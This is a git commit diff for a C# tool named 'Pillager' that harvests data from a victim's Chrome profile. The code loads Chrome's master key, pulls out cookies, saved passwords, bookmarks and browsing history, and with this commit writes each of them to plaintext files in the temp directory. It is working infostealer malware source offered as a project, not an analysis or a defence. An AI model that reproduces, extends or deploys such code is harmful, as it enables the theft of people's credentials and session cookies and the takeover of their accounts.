write to file

This commit is contained in:
qwqdanchun 2023-04-24 11:58:01 +08:00
parent 29a2672a0f
commit e58da0f648
2 changed files with 11 additions and 4 deletions

View File

@ -11,10 +11,13 @@ namespace Pillager
{
private string BrowserPath { get; set; }
public string BrowserName { get; set; }
private byte[] MasterKey { get; set; }
public Chrome(string Path)
public Chrome(string Name,string Path)
{
BrowserName = Name;
BrowserPath = Path;
MasterKey = GetMasterKey();
}

View File

@ -10,15 +10,19 @@ namespace Pillager
{
static void Main(string[] args)
{
string savepath = Path.GetTempPath();
string chromepath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"Google\\Chrome\\User Data\\Default");
Chrome chrome = new Chrome(chromepath);
Chrome chrome = new Chrome("Chrome", chromepath);
string cookies = chrome.Chrome_cookies();
string passwords = chrome.Chrome_passwords();
string books = chrome.Chrome_books();
string history = chrome.Chrome_history();
Console.ReadLine();
File.WriteAllText(Path.Combine(savepath, chrome.BrowserName + "_cookies.txt"), cookies);
File.WriteAllText(Path.Combine(savepath, chrome.BrowserName + "_passwords.txt"), passwords);
File.WriteAllText(Path.Combine(savepath, chrome.BrowserName + "_books.txt"), books);
File.WriteAllText(Path.Combine(savepath, chrome.BrowserName + "_history.txt"), history);
Console.WriteLine("Files wrote to " + savepath + chrome.BrowserName + "_*.txt");
}
}
}